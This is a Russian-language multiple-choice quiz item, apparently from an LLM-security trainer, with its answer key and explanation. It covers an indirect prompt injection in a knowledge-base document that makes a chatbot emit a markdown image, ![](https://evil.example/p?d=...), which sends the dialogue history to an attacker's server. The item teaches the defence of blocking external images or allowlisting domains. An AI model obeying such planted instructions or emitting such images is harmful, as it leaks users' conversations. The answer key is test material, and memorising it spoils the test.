Выбор ответа Senior Безопасность LLM обновлено

Утечка через markdown-картинку

Вопрос

Чат-бот рендерит ответы модели как markdown. В документе базы знаний атакующий спрятал инструкцию вставить в ответ картинку ![](https://evil.example/p?d=...) с историей диалога в параметре. Что сработает как защита?

Попробуйте сами

Выберите вариант, и откроется разбор.

Показать ответ и разбор

Коротко

Правильный ответ: Не загружать внешние картинки из ответа или разрешать только домены из белого списка. Утечка происходит в браузере: клиент загружает картинку, и данные из URL уходят на сервер атакующего без участия пользователя.

Варианты ответа

  1. Не загружать внешние картинки из ответа или разрешать только домены из белого спискаправильный ответ
  2. Попросить модель в системном промпте никогда не вставлять картинки и ссылки в ответы
  3. Ограничить длину ответа 500 символами, чтобы история диалога не поместилась в URL
  4. Перейти на модель с большим окном, которая лучше отличает инструкции от данных

Разбор

Утечка происходит в браузере: клиент загружает картинку, и данные из URL уходят на сервер атакующего без участия пользователя. Надёжно закрывает канал только рендерер: запрет внешних ресурсов или белый список доменов (плюс CSP). Просьба в промпте обходится той же инъекцией. Ограничение длины не мешает короткому URL с данными. Окно модели не связано с утечкой.

Ответьте сами, а не прочитайте

В тренажёре вопрос попадёт в повторения и вернётся, когда начнёт забываться. Плюс билеты с зачётом: 20 вопросов, не больше 2 ошибок.